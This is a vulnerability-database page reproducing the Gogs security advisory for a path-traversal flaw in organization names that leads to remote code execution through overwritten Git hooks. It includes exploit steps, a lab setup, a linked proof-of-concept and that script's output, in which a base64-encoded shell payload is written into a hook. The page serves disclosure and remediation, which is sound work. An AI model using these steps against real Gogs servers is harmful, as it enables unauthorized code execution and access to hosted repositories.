Severity by source
AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Network API, low complexity, scope-changing RCE as git user; PR:L because exploitation needs an account able to create an org (self-registration default but configurable).
Primary rating from Vendor (https://github.com/gogs/gogs).
CVSS VectorVendor: https://github.com/gogs/gogs
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Lifecycle Timeline
3DescriptionCVE.org
Summary
Organization names containing path traversal sequences (../) are accepted by Gogs, and repositories under them are written to paths following these path traversals. This allows storing/retrieving data for repositories at arbitrary locations on the filesystem. By creating nested structure of Git repositories, one can overwrite the other's hooks configuration to result in Remote Code Execution (RCE).
Details
During organization creation, internal/database/org.go calls os.MkdirAll(repox.UserPath(org.Name)) without sanitizing org.Name.
https://github.com/gogs/gogs/blob/d7571322a04a29476d4241406ed50bf7eef0a5b7/internal/database/org.go#L165
Repository creation uses this name to decide where to write the Git bare repository's (org/name.git). By setting the org name to ../../../../tmp/test, and creating a repository under that organization, it gets written under /tmp/test on the server.
https://github.com/gogs/gogs/blob/d7571322a04a29476d4241406ed50bf7eef0a5b7/internal/repox/repox.go#L57-L58
An attacker can abuse this in a clever way by writing to the /data/gogs/data/tmp/local-r/1 directory, being a local worktree of the git repositories inside of Gogs. These directories are editable by Git. By creating a repository nested inside of there, files like config and hooks/update are now referenced through the path traversal, and are editable by Git. This allows the attacker to edit the hooks/update script with malicious Bash commands and then to trigger the hook.
The steps to exploit this inside of Gogs are roughly (ignoring some syncing dummy actions):
- Create regular outer repository and get its ID
- Create organization named
../../../../data/gogs/data/tmp/local-r/{ID}/nested - Create a repository inside this organization (eg.
rce), which will be written into the local clone of the outer repository - From the outer repository, edit
nested/rce.git/hooks/updateto contain malicious shell commands - Interact with the
rcerepository again to trigger the updated hook, and RCE is achieved
PoC
- Set up a default Gogs instance by saving the following content to
docker-compose.ymland runningdocker compose up:
services:
db:
image: postgres:16-alpine
environment:
POSTGRES_USER: gogs
POSTGRES_PASSWORD: gogs
POSTGRES_DB: gogs
volumes:
- postgres-data:/var/lib/postgresql/data
restart: unless-stopped
healthcheck:
test: [ "CMD-SHELL", "pg_isready -U gogs -d gogs" ]
interval: 5s
timeout: 5s
retries: 5
gogs:
image: gogs/gogs
depends_on:
db:
condition: service_healthy
ports:
- "3000:3000"
volumes:
- gogs-data:/data
restart: unless-stopped
volumes:
gogs-data:
postgres-data:- Visit http://localhost:3000, set the *Host* to
db:5432and *Password* togogs. Under *Admin Account Settings* configure your admin account - As the attacker, register an account with username
attackerand passwordattackerat http://localhost:3000/user/sign_up - As the attacker, run the following script (in gist to avoid cluttering this advisory):
https://gist.github.com/JorianWoltjer/4b72063338b27140f4439c524d98f2b9
The output should look like:
$ python3 gogs-rce.py
step 1 token ok
step 2 create personal repo 201 full_name attacker/writer-bd426045
step 3 web editor new file on attacker / writer-bd426045
step 4 GET writer repo -> local-r 1
step 5 create org 201 local-r 1 username ../../../../data/gogs/data/tmp/local-r/1/nested
step 6 get org 200 username ../../../../data/gogs/data/tmp/local-r/1/nested
step 7 create repo 201 full_name ../../../../data/gogs/data/tmp/local-r/1/nested/rce-b175aca7 html_url http://localhost:3000/../../../../data/gogs/data/tmp/local-r/1/nested/rce-b175aca7 clone_url http://localhost:3000/../../../../data/gogs/data/tmp/local-r/1/nested/rce-b175aca7.git
step 8 get repo 200 owner.username ../../../../data/gogs/data/tmp/local-r/1/nested full_name ../../../../data/gogs/data/tmp/local-r/1/nested/rce-b175aca7 empty False
Cloning into '/tmp/poc-writer-fy4k5064'...
remote: Enumerating objects: 6, done.
remote: Counting objects: 100% (6/6), done.
remote: Compressing objects: 100% (3/3), done.
remote: Total 6 (delta 0), reused 0 (delta 0), pack-reused 0 (from 0)
Unpacking objects: 100% (6/6), 491 bytes | 491.00 KiB/s, done.
step 9 clone writer repo -> /tmp/poc-writer-fy4k5064
[master 3cf84b2] poc: nested/rce-b175aca7.git hook path
1 file changed, 1 insertion(+)
create mode 100755 nested/rce-b175aca7.git/hooks/update
step 10 write nested/rce-b175aca7.git/hooks/update with echo 'aWQ=' | base64 -d | bash > pwned
Enumerating objects: 7, done.
Counting objects: 100% (7/7), done.
Delta compression using up to 14 threads
Compressing objects: 100% (2/2), done.
Writing objects: 100% (6/6), 1022 bytes | 1022.00 KiB/s, done.
Total 6 (delta 0), reused 0 (delta 0), pack-reused 0
To http://localhost:3000/attacker/writer-bd426045.git
b0b9886..3cf84b2 master -> master
step 11 push writer
step 12 API new file on attacker / writer-bd426045
step 13 API new file on org ../../../../data/gogs/data/tmp/local-r/1/nested / rce-b175aca7
step 14 API new file on attacker / writer-bd426045
step 15 GET raw pwned 200 http://localhost:3000/attacker/writer-bd426045/raw/master/nested/rce-b175aca7.git/pwned
=== COMMAND OUTPUT ===
uid=1000(git) gid=1000(git) groups=1000(git)Impact
In the default setting, users can self-register and then create their own organizations. From here they can perform this exploit to achieve RCE as the git user.
Articles & Coverage 1
AnalysisAI
Remote code execution in Gogs self-hosted Git service before 0.14.3 allows unauthenticated attackers (where self-registration is enabled) to abuse unsanitized organization names containing '../' sequences to write Git repository files outside the intended storage root, then overwrite a repository's hooks/update script and trigger arbitrary command execution as the git user. The flaw carries a CVSS 10.0 (AV:N/AC:L/PR:N/UI:N/S:C) rating, and a fully working public proof-of-concept is published alongside the GHSA advisory, though no CISA KEV listing or EPSS data is provided in the input.
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Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | Requires (1) network reachability to the Gogs HTTP API, (2) an account that can create an organization and a repository - by default Gogs allows self-registration so this is effectively unauthenticated, but if an administrator has set DISABLE_REGISTRATION=true or restricted org creation, the attacker needs a low-privileged account with org-create rights, and (3) a Gogs version earlier than 0.14.3. … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | All available signals point to a top-priority issue. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | Using the published PoC (gist linked from GHSA-c39w-43gm-34h5), an attacker self-registers on an internet-exposed Gogs instance, creates a normal personal repository, then creates an organization whose name is a path-traversal string pointing at that repository's server-side local worktree (data/gogs/data/tmp/local-r/<id>/nested) and creates a nested repo inside it. From the outer repo they commit a malicious nested/<repo>.git/hooks/update script and trigger a subsequent server-side Git operation, executing arbitrary commands as the git user with access to all hosted repositories. |
| Remediation | Vendor-released patch: upgrade to Gogs 0.14.3 or later, which adds pathx.Clean() sanitization to repox.UserPath/RepoPath and enforces AlphaDashDot/MaxSize(35) validation on organization usernames in the API (see commit f6acd467305943aae8403cbac81f0118dd1235d7 and PR https://github.com/gogs/gogs/pull/8334, release notes at https://github.com/gogs/gogs/releases/tag/v0.14.3, advisory https://github.com/gogs/gogs/security/advisories/GHSA-c39w-43gm-34h5). … Detailed patch versions, workarounds, and compensating controls in full report. |
Recommended ActionAI
Within 24 hours: Disable self-registration in Gogs settings as an interim measure while patching is completed. …
Sign in for detailed remediation steps and compensating controls.
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External POC / Exploit Code
Leaving vuln.today
EUVD-2026-39084
GHSA-c39w-43gm-34h5